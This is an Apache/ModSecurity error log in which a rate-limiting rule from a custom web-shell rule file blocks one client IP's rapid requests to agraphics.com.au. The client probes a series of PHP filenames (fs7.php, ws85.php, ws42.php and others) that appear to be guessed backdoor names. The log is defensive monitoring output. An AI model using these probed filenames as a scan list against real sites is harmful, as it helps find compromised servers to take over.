[Sun Mar 29 05:03:09.171651 2026] [:error] [pid 32257:tid 32331] [client 20.122.187.158:28232] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "achCDSE3TArOFrUtgWomDQAAAI0"]
[Sun Mar 29 05:03:09.571628 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28409] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs7.php"] [unique_id "achCDSE3TArOFrUtgWomDwAAAI4"]
[Sun Mar 29 05:03:09.979200 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28236] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs7.php"] [unique_id "achCDSE3TArOFrUtgWomEAAAAJI"]
[Sun Mar 29 05:03:10.393638 2026] [:error] [pid 1524:tid 1549] [client 20.122.187.158:28343] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs7.php"] [unique_id "achCDloaWSl2asqQCh8OAwAAARI"]
[Sun Mar 29 05:03:10.794380 2026] [:error] [pid 1524:tid 1545] [client 20.122.187.158:28243] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs7.php"] [unique_id "achCDloaWSl2asqQCh8OBAAAAQ4"]
[Sun Mar 29 05:03:11.200208 2026] [:error] [pid 32254:tid 32288] [client 20.122.187.158:28236] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "achCD6ug2IHuyGgCTn8MTQAAABg"]
[Sun Mar 29 05:03:11.600185 2026] [:error] [pid 1524:tid 1528] [client 20.122.187.158:28415] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "achCD1oaWSl2asqQCh8OBwAAAQE"]
[Sun Mar 29 05:03:11.999706 2026] [:error] [pid 32254:tid 32267] [client 20.122.187.158:28241] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "achCD6ug2IHuyGgCTn8MTgAAAAM"]
[Sun Mar 29 05:03:12.404284 2026] [:error] [pid 32359:tid 32383] [client 20.122.187.158:28190] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kbfr.php"] [unique_id "achCEAMb8G3UzfQP3WjKiAAAANY"]
[Sun Mar 29 05:03:12.804679 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28332] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/595.php"] [unique_id "achCEFoaWSl2asqQCh8OCQAAAQ8"]
[Sun Mar 29 05:03:13.228538 2026] [:error] [pid 32359:tid 32363] [client 20.122.187.158:28374] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/595.php"] [unique_id "achCEQMb8G3UzfQP3WjKjAAAAMI"]
[Sun Mar 29 05:03:13.646663 2026] [:error] [pid 1524:tid 1554] [client 20.122.187.158:28346] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/595.php"] [unique_id "achCEVoaWSl2asqQCh8OCgAAARY"]
[Sun Mar 29 05:03:14.126815 2026] [:error] [pid 32359:tid 32368] [client 20.122.187.158:28378] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/595.php"] [unique_id "achCEgMb8G3UzfQP3WjKjgAAAMc"]
[Sun Mar 29 05:03:14.528152 2026] [:error] [pid 1524:tid 1553] [client 20.122.187.158:28392] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "achCEloaWSl2asqQCh8OCwAAARU"]
[Sun Mar 29 05:03:14.961705 2026] [:error] [pid 32257:tid 32329] [client 20.122.187.158:28387] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "achCEiE3TArOFrUtgWomEwAAAIs"]
[Sun Mar 29 05:03:15.367778 2026] [:error] [pid 32257:tid 32341] [client 20.122.187.158:28394] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "achCEyE3TArOFrUtgWomFAAAAJc"]
[Sun Mar 29 05:03:15.766918 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28239] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1.php"] [unique_id "achCEyE3TArOFrUtgWomFQAAAJE"]
[Sun Mar 29 05:03:16.200836 2026] [:error] [pid 32257:tid 32334] [client 20.122.187.158:28375] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "achCFCE3TArOFrUtgWomFwAAAJA"]
[Sun Mar 29 05:03:16.607440 2026] [:error] [pid 32257:tid 32331] [client 20.122.187.158:28349] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "achCFCE3TArOFrUtgWomGgAAAI0"]
[Sun Mar 29 05:03:17.012624 2026] [:error] [pid 32255:tid 32296] [client 20.122.187.158:28336] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "achCFWnfn-AtRoMbquxFBgAAAEU"]
[Sun Mar 29 05:03:17.447700 2026] [:error] [pid 1524:tid 1551] [client 20.122.187.158:28267] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "achCFVoaWSl2asqQCh8ODAAAARM"]
[Sun Mar 29 05:03:17.853585 2026] [:error] [pid 1524:tid 1530] [client 20.122.187.158:28400] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "achCFVoaWSl2asqQCh8ODQAAAQI"]
[Sun Mar 29 05:03:18.262314 2026] [:error] [pid 32255:tid 32297] [client 20.122.187.158:28380] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "achCFmnfn-AtRoMbquxFCgAAAEY"]
[Sun Mar 29 05:03:18.674403 2026] [:error] [pid 32359:tid 32364] [client 20.122.187.158:28411] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "achCFgMb8G3UzfQP3WjKkgAAAMM"]
[Sun Mar 29 05:03:19.083986 2026] [:error] [pid 1524:tid 1538] [client 20.122.187.158:28388] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "achCF1oaWSl2asqQCh8ODwAAAQk"]
[Sun Mar 29 05:03:19.533087 2026] [:error] [pid 1524:tid 1533] [client 20.122.187.158:28373] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "achCF1oaWSl2asqQCh8OEAAAAQU"]
[Sun Mar 29 05:03:19.959953 2026] [:error] [pid 1524:tid 1555] [client 20.122.187.158:28259] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "achCF1oaWSl2asqQCh8OEgAAARc"]
[Sun Mar 29 05:03:20.393354 2026] [:error] [pid 1524:tid 1542] [client 20.122.187.158:28353] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "achCGFoaWSl2asqQCh8OEwAAAQs"]
[Sun Mar 29 05:03:20.799584 2026] [:error] [pid 32255:tid 32302] [client 20.122.187.158:28168] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "achCGGnfn-AtRoMbquxFCwAAAEs"]
[Sun Mar 29 05:03:21.201084 2026] [:error] [pid 32257:tid 32341] [client 20.122.187.158:28333] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "achCGSE3TArOFrUtgWomIQAAAJc"]
[Sun Mar 29 05:03:21.610451 2026] [:error] [pid 32257:tid 32334] [client 20.122.187.158:28315] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "achCGSE3TArOFrUtgWomIwAAAJA"]
[Sun Mar 29 05:03:22.014681 2026] [:error] [pid 32257:tid 32338] [client 20.122.187.158:28230] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "achCGiE3TArOFrUtgWomJAAAAJQ"]
[Sun Mar 29 05:03:22.424773 2026] [:error] [pid 32254:tid 32272] [client 20.122.187.158:28284] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "achCGqug2IHuyGgCTn8MUgAAAAg"]
[Sun Mar 29 05:03:22.842326 2026] [:error] [pid 32255:tid 32299] [client 20.122.187.158:28351] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws79.php"] [unique_id "achCGmnfn-AtRoMbquxFEAAAAEg"]
[Sun Mar 29 05:03:23.288547 2026] [:error] [pid 32257:tid 32331] [client 20.122.187.158:28320] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws79.php"] [unique_id "achCGyE3TArOFrUtgWomJgAAAI0"]
[Sun Mar 29 05:03:23.704000 2026] [:error] [pid 32254:tid 32279] [client 20.122.187.158:28327] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws79.php"] [unique_id "achCG6ug2IHuyGgCTn8MUwAAAA8"]
[Sun Mar 29 05:03:24.125457 2026] [:error] [pid 32255:tid 32310] [client 20.122.187.158:28340] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws79.php"] [unique_id "achCHGnfn-AtRoMbquxFEQAAAFM"]
[Sun Mar 29 05:03:24.527954 2026] [:error] [pid 32257:tid 32322] [client 20.122.187.158:28325] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "achCHCE3TArOFrUtgWomKQAAAIQ"]
[Sun Mar 29 05:03:24.964055 2026] [:error] [pid 32254:tid 32276] [client 20.122.187.158:28412] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "achCHKug2IHuyGgCTn8MVAAAAAw"]
[Sun Mar 29 05:03:25.373174 2026] [:error] [pid 1524:tid 1528] [client 20.122.187.158:28227] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "achCHVoaWSl2asqQCh8OFQAAAQE"]
[Sun Mar 29 05:03:25.791941 2026] [:error] [pid 32257:tid 32326] [client 20.122.187.158:28249] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "achCHSE3TArOFrUtgWomLAAAAIg"]
[Sun Mar 29 05:03:26.197341 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28312] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws50.php"] [unique_id "achCHloaWSl2asqQCh8OFwAAAQ8"]
[Sun Mar 29 05:03:26.623390 2026] [:error] [pid 32257:tid 32337] [client 20.122.187.158:28250] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws50.php"] [unique_id "achCHiE3TArOFrUtgWomLQAAAJM"]
[Sun Mar 29 05:03:27.055111 2026] [:error] [pid 1524:tid 1527] [client 20.122.187.158:28233] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws50.php"] [unique_id "achCH1oaWSl2asqQCh8OGQAAAQA"]
[Sun Mar 29 05:03:27.475368 2026] [:error] [pid 1524:tid 1541] [client 20.122.187.158:28338] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws50.php"] [unique_id "achCH1oaWSl2asqQCh8OHQAAAQo"]
[Sun Mar 29 05:03:27.904467 2026] [:error] [pid 1524:tid 1555] [client 20.122.187.158:28360] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws44.php"] [unique_id "achCH1oaWSl2asqQCh8OHwAAARc"]
[Sun Mar 29 05:03:28.315009 2026] [:error] [pid 1524:tid 1531] [client 20.122.187.158:28344] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws44.php"] [unique_id "achCIFoaWSl2asqQCh8OIAAAAQM"]
[Sun Mar 29 05:03:28.734172 2026] [:error] [pid 1524:tid 1536] [client 20.122.187.158:28245] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws44.php"] [unique_id "achCIFoaWSl2asqQCh8OIQAAAQc"]
[Sun Mar 29 05:03:29.142536 2026] [:error] [pid 1524:tid 1552] [client 20.122.187.158:28326] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws44.php"] [unique_id "achCIVoaWSl2asqQCh8OIwAAARQ"]
[Sun Mar 29 05:03:29.543946 2026] [:error] [pid 32359:tid 32373] [client 20.122.187.158:28393] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "achCIQMb8G3UzfQP3WjKlgAAAMw"]
[Sun Mar 29 05:03:29.950799 2026] [:error] [pid 32255:tid 32305] [client 20.122.187.158:28337] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "achCIWnfn-AtRoMbquxFFwAAAE4"]
[Sun Mar 29 05:03:30.353754 2026] [:error] [pid 1524:tid 1545] [client 20.122.187.158:28246] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "achCIloaWSl2asqQCh8OJQAAAQ4"]
[Sun Mar 29 05:03:30.758936 2026] [:error] [pid 32255:tid 32297] [client 20.122.187.158:28224] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "achCImnfn-AtRoMbquxFGQAAAEY"]
[Sun Mar 29 05:03:31.170365 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28273] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws42.php"] [unique_id "achCI1oaWSl2asqQCh8OKAAAAQ8"]
[Sun Mar 29 05:03:31.573105 2026] [:error] [pid 32255:tid 32313] [client 20.122.187.158:28235] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws42.php"] [unique_id "achCI2nfn-AtRoMbquxFGwAAAFY"]
[Sun Mar 29 05:03:31.973190 2026] [:error] [pid 32254:tid 32281] [client 20.122.187.158:28330] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws42.php"] [unique_id "achCI6ug2IHuyGgCTn8MVwAAABE"]
[Sun Mar 29 05:03:32.381431 2026] [:error] [pid 1524:tid 1533] [client 20.122.187.158:28355] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws42.php"] [unique_id "achCJFoaWSl2asqQCh8OLQAAAQU"]
